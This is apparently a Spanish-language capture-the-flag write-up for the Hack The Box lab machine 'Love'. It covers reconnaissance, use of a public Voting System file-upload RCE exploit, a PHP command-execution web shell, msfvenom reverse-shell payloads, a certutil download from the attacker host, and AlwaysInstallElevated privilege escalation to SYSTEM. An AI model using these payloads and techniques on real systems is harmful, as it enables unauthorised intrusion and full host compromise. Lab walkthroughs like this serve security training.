Hack The Box Love
Love
Se procede con la fase de reconocimiento lanzando primeramente un ping
a la dirección IP 10.10.10.239.
1
2
3
4
5
6
7
8
❯ ping -c 1 10.10.10.239
PING 10.10.10.239 (10.10.10.239) 56(84) bytes of data.
64 bytes from 10.10.10.239: icmp_seq=1 ttl=127 time=172 ms
--- 10.10.10.239 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 171.988/171.988/171.988/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap
para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 09:03 CDT
Initiating SYN Stealth Scan at 09:03
Scanning 10.10.10.239 [65535 ports]
Discovered open port 139/tcp on 10.10.10.239
Discovered open port 3306/tcp on 10.10.10.239
Discovered open port 443/tcp on 10.10.10.239
Discovered open port 445/tcp on 10.10.10.239
Discovered open port 80/tcp on 10.10.10.239
Discovered open port 135/tcp on 10.10.10.239
Discovered open port 49670/tcp on 10.10.10.239
Discovered open port 47001/tcp on 10.10.10.239
Discovered open port 49669/tcp on 10.10.10.239
Discovered open port 5985/tcp on 10.10.10.239
Discovered open port 49666/tcp on 10.10.10.239
Discovered open port 49667/tcp on 10.10.10.239
Discovered open port 7680/tcp on 10.10.10.239
Discovered open port 49664/tcp on 10.10.10.239
Discovered open port 49665/tcp on 10.10.10.239
Discovered open port 5040/tcp on 10.10.10.239
Discovered open port 5986/tcp on 10.10.10.239
Discovered open port 5000/tcp on 10.10.10.239
Discovered open port 49668/tcp on 10.10.10.239
Completed SYN Stealth Scan at 09:03, 19.67s elapsed (65535 total ports)
Nmap scan report for 10.10.10.239
Host is up, received user-set (0.15s latency).
Scanned at 2021-08-26 09:03:30 CDT for 20s
Not shown: 64587 closed ports, 929 filtered ports
Reason: 64587 resets and 929 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
3306/tcp open mysql syn-ack ttl 127
5000/tcp open upnp syn-ack ttl 127
5040/tcp open unknown syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
5986/tcp open wsmans syn-ack ttl 127
7680/tcp open pando-pub syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.89 seconds
Raw packets sent: 96913 (4.264MB) | Rcvd: 70595 (2.824MB)
Mediante la función extractPorts definida a nivel de zsh
, se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.239
5 │ [*] Open ports: 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
❯ nmap -sC -sV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN
target
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 09:06 CDT
Nmap scan report for staging.love.htb (10.10.10.239)
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Secure file scanner
135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| TerminalServerCookie:
|_ Host '10.10.14.5' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|_ssl-date: 2021-08-26T14:35:17+00:00; +26m10s from scanner time.
| tls-alpn:
|_ http/1.1
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=8/26%Time=61279FE0%P=x86_64-pc-linux-gnu%r(Te
SF:rminalServerCookie,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.5'\x20is\
SF:x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h11m11s, deviation: 3h30m02s, median: 26m09s
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-08-26T07:35:05-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-08-26T14:35:06
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.42 seconds
De acuerdo con el escaneo obtenido de namp
se observa el servicio HTTP a través de los puertos 80, 443 y 5000; con el servicio de Apache httpd 2.4.46 (Win64) y teniendo como código de estado 403 en los puertos 443 y 5000. Así mismo, para el puerto 443 se observa que el parámetro commonName está el subdominio staging.love.htb; por lo que lo agregamos a nuestro archivo /etc/hosts/ en caso de que se esté aplicando virtual hosting.
1
2
3
4
5
6
7
# Host addresses
127.0.0.1 localhost
127.0.1.1 kamipc
10.10.10.239 staging.love.htb
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Tratamos de acceder al sitio web para visualizar el contenido; primeramente con la dirección IP y posterior con el dominio identificado.
Se observa un panel de login donde se requiere un voter’s id y passoword; por lo que podrían probar diferentes digitos en el campo de id para observar la respuesta del sitio obteniendo como respuesta Cannot find voter with the ID. A continuación se utiliza la herramienta wfuzz para descubrir recursos en el servidor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ wfuzz -c -t 200 --hc=404 --hw=324 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.239/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work corr
ectly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.239/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 301 9 L 30 W 338 Ch "images"
000000203: 301 9 L 30 W 338 Ch "Images"
000000259: 301 9 L 30 W 337 Ch "admin"
000000638: 301 9 L 30 W 340 Ch "includes"
000000519: 301 9 L 30 W 339 Ch "plugins"
000000902: 503 11 L 44 W 402 Ch "examples"
000001503: 301 9 L 30 W 336 Ch "dist"
000001819: 403 11 L 47 W 421 Ch "licenses"
000003673: 301 9 L 30 W 338 Ch "IMAGES"
000003790: 403 9 L 30 W 302 Ch "%20"
000004147: 404 9 L 33 W 299 Ch "542"
Total time: 16.39328
Processed Requests: 4124
Filtered Requests: 4114
Requests/sec.: 251.5664
Observamos el recurso /admin en donde solicita un username y password. Ahora accedemos al sitio web http://staging.love.htb/ y observamos el recurso de ** Free File Scanner** y al acceder a Demo, el sitio nos solicita ingresar una dirección URL.
Es posible que el sitio nos pueda mostrar información de la dirección URL ingresada, por lo que se prueban los recursos con código de estado 403 para los puertos 443 y 5000. Para el puerto 5000 se observan credenciales del usuario admin para cuales procedemos a validar en el panel de login /admin.
Hemos logrado acceder al panel de administración como el usuario Neovic Devierte; ahora, validando el sitio, se observa que se trata de un sistema llamado VotingSystem, por lo que buscamos si existe un exploit público mediante searchsploit
.
1
2
3
4
5
6
7
8
9
❯ searchsploit voting system
------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------- ---------------------------------
Online Voting System - Authentication Bypass | php/webapps/43967.py
Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting | multiple/webapps/49159.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py
------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Se observa un recurso que permite la ejecución de código contanto con un usuario autenticado, por lo que descargamos el archivo 49445.py y lo renombramos como voting_system.py.
1
2
3
4
5
6
7
8
9
❯ searchsploit -m php/webapps/49445.py
Exploit: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
URL: https://www.exploit-db.com/exploits/49445
Path: /usr/share/exploitdb/exploits/php/webapps/49445.py
File Type: ASCII text, with very long lines, with CRLF line terminators
Copied to: /home/kamiyo/Documentos/HTB/Love/exploits/49445.py
> mv 49445.py voting_system.py
Abrimos el archivo y realizamos las modificaciones correspondiente:
- IP = “10.10.10.239”
- USERNAME = “admin”
- PASSWORD = “” # Introducir el password obtenido
- REV_IP = 10.10.14.5
- REV_PORT = “443”
Así mismo, para las variables INDEX_PAGE, LOGIN_URL, VOTE_URL y CALL_SHELL, eliminar de la dirección URL la palabra votesystem, teniendo como resultado http://{IP}/admin/
. Una vez realizados los cambios, procedemos a ejecutar el archivo y nos ponemos en escucha por el puerto 443:
1
2
3
4
5
❯ python voting_system.py
Start a NC listner on the port you choose above and run...
Logged in
Poc sent successfully
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.239] 58604
b374k shell : connected
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
whoami
whoami
love\phoebe
C:\xampp\htdocs\omrs\images>
Y ya obtenemos acceso al sistema como el usuario love\phoebe. A continuación se describe otro método para obtener acceso al sistema. Dentro del panel de administración, se observa que podemos actuliazar los datos del peril del usuario Neovic Devierte; así como podemos subir un archivo de cualquier extensión; por lo tanto, se crea un archivo php que nos permita la ejecución de comando a nivel de sistema.
1
2
3
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"
?>
Subimos el archivo y recordando que con la herramienta wfuzz se obtuvieron otros recursos dentro del sistema; por lo que comprobando, los archivo que podemos subir se guardan en la carpeta /images/; por lo que despues de subir nuestro archivo php, ingresamos a la siguiente ruta y tratamos de ejecutar un comando a nivel de sistema mediante la variable cmd.
http://10.10.10.239/images/shell.php?cmd=whoami
Tenemos ejecución de comandos a nivel de sistema!
Ahora, necesitamos crear un archivo exe que nos permita establecer una reverse shell mediante el uso de la herramienta msfvenom
y subimos nuestro archivo reverse.exe al sitio web. En este punto, nos ponemos en escuha por el puerto 443 y ejecutamos nuestro programa.
1
2
3
4
5
❯ msfvenom -a x64 --platform windows -p windows/x64/shell/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o reverse.exe
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe
http://10.10.10.239/images/shell.php?cmd=reverse.exe
1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.239] 58604
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
whoami
whoami
love\phoebe
C:\xampp\htdocs\omrs\images>
A partir de aquí ya podemos visualizar la flag (user.txt) y empezamos la enumeración para escalar privilegios en el sistema. Nos dirigimos al C:\Windows\Temp y nos creamos una carpeta (con cualquier nombre, para este caso la carpeta de llama Privesc). Ingresamos a la carpeta Privesc, en nuestra máquina de atacantes descargamos la utilidad winPEAS y nos compartimos un servidor HTTP a través del puerto 80 mediante el uso de python.
1
2
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora desde la máquina víctima, descargamos el archivo winPEASx64.exe alojado en nuestro equipo con la utilizada certutil.exe y procedemos a ejecutar el archivo.
1
2
3
4
5
6
7
certutil.exe -f -urlcache -split http://10.10.14.5/winPEASx64.exe winPEASx64.exe
**** Online ****
000000 ...
1b4600
CertUtil: -URLCache command completed successfully.
C:\Windows\Temp\Privesc>
De toda la información arrojada por la aplicación, se observa que AlwaysInstallElevated presenta un valor de 1 en HKLM y HKCU; por lo que podemos instalar un paquete de Windows Installer (archivos msi) con privilegios elevador. Por lo tanto, generamos una reverse shell con la herramienta msfvenom
; incluso, dentro de los resultados de winPEAS nos comparte una liga hacia el sitio hacktricks.xyz en donde nos indican que es lo que tenemos que hacer para elevar privilegios.
1
2
3
4
Checking AlwaysInstallElevated
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
1
2
3
4
5
6
7
❯ msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o reverse.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of msi file: 159744 bytes
Saved as: reverse.msi
Compartimos el archivo msi hacia la máquina víctima (a través de un servidor con python), nos ponemos en escucha por el puerto 443 y procedemos a su ejecución.
1
2
3
msiexec /quiet /qn /i C:\Windows\Temp\Privesc\reverse.msi
C:\Windows\Temp\Privesc>
1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.239] 51996
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
whoami
whoami
nt authority\system
C:\Windows\System32>
Ya somos administradores del equipo y podemos visualizar la flag (root.txt).